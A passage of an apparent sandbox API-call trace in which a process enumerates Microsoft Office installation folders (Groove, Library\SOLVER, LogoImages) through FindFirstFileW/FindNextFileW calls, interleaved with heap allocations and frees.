lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18aadbcf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18aadbcf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aadbcf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8af08 [0098.453] GetProcessHeap () returned 0x11a0000 [0098.453] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.453] GetProcessHeap () returned 0x11a0000 [0098.453] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.453] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8aa48 [0098.457] GetProcessHeap () returned 0x11a0000 [0098.457] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.457] GetProcessHeap () returned 0x11a0000 [0098.458] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8af08 [0098.458] GetProcessHeap () returned 0x11a0000 [0098.458] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.458] GetProcessHeap () returned 0x11a0000 [0098.458] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.459] GetProcessHeap () returned 0x11a0000 [0098.459] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.460] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8ae08 [0098.461] GetProcessHeap () returned 0x11a0000 [0098.461] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8af88 [0098.585] GetProcessHeap () returned 0x11a0000 [0098.585] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.585] GetProcessHeap () returned 0x11a0000 [0098.585] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.586] GetProcessHeap () returned 0x11a0000 [0098.586] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.586] GetProcessHeap () returned 0x11a0000 [0098.586] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.586] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8a8c8 [0098.587] GetProcessHeap () returned 0x11a0000 [0098.587] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.588] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\People\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18a3b641, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197321ed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197321ed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8abc8 [0098.591] GetProcessHeap () returned 0x11a0000 [0098.591] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.591] GetProcessHeap () returned 0x11a0000 [0098.591] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.591] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Places\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8a808 [0098.594] GetProcessHeap () returned 0x11a0000 [0098.594] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.595] GetProcessHeap () returned 0x11a0000 [0098.595] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.595] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Sounds\\Things\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8abc8 [0098.736] GetProcessHeap () returned 0x11a0000 [0098.736] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.737] GetProcessHeap () returned 0x11a0000 [0098.737] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.738] GetProcessHeap () returned 0x11a0000 [0098.738] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolBMPs\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8ad88 [0098.746] GetProcessHeap () returned 0x11a0000 [0098.746] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.746] GetProcessHeap () returned 0x11a0000 [0098.746] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8ad08 [0098.747] GetProcessHeap () returned 0x11a0000 [0098.747] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8af48 [0098.749] GetProcessHeap () returned 0x11a0000 [0098.749] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8a848 [0098.770] GetProcessHeap () returned 0x11a0000 [0098.770] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.770] GetProcessHeap () returned 0x11a0000 [0098.770] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8ae88 [0098.771] GetProcessHeap () returned 0x11a0000 [0098.771] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0098.771] GetProcessHeap () returned 0x11a0000 [0098.771] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.772] GetProcessHeap () returned 0x11a0000 [0098.772] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.772] GetProcessHeap () returned 0x11a0000 [0098.772] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\ToolIcons\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8ad08 [0098.899] GetProcessHeap () returned 0x11a0000 [0098.900] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.900] GetProcessHeap () returned 0x11a0000 [0098.900] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0099.304] GetProcessHeap () returned 0x11a0000 [0099.304] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0099.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x19889710, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b535b0 [0099.305] GetProcessHeap () returned 0x11a0000 [0099.305] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b54790 [0099.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\Analysis\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b53670 [0099.336] GetProcessHeap () returned 0x11a0000 [0099.347] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b54790 | out: hHeap=0x11a0000) returned 1 [0099.347] FindNextFileW (in: hFindFile=0x3b535b0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0099.347] FindNextFileW (in: hFindFile=0x3b535b0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0099.347] GetProcessHeap () returned 0x11a0000 [0099.347] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b54790 [0099.347] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Library\\SOLVER\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b53170 [0099.369] FindNextFileW (in: hFindFile=0x3b53170, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.369] FindNextFileW (in: hFindFile=0x3b53170, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb16b0a3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8dfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER.XLAM", cAlternateFileName="SOLVER~1.XLA")) returned 1 [0099.369] FindNextFileW (in: hFindFile=0x3b53170, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 1 [0099.369] FindNextFileW (in: hFindFile=0x3b53170, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf41cdbc1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x35438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER32.DLL", cAlternateFileName="")) returned 0 [0099.370] FindClose (in: hFindFile=0x3b53170 | out: hFindFile=0x3b53170) returned 1 [0099.370] GetProcessHeap () returned 0x11a0000 [0099.370] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b54790 | out: hHeap=0x11a0000) returned 1 [0099.370] FindNextFileW (in: hFindFile=0x3b535b0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0099.370] FindClose (in: hFindFile=0x3b535b0 | out: hFindFile=0x3b535b0) returned 1 [0099.370] GetProcessHeap () returned 0x11a0000 [0099.370] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b42778 | out: hHeap=0x11a0000) returned 1 [0099.371] FindNextFileW (in: hFindFile=0x11b9f50, lpFindFileData=0x347ece0 | out: lpFindFileData=0x347ece0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0099.371] GetProcessHeap () returned 0x11a0000 [0099.372] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b42778 [0099.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b529f0 [0100.637] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198fbe19, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-100.png", cAlternateFileName="EXDF79~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-140.png", cAlternateFileName="EX9DAA~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-180.png", cAlternateFileName="EXD3EA~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198d5bc7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198d5bc7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198d5bc7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-black_scale-80.png", cAlternateFileName="EX9BE5~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x198afa29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198afa29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLogo.contrast-white_scale-100.png", cAlternateFileName="EXC172~1.PNG")) returned 1 [0102.383] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, 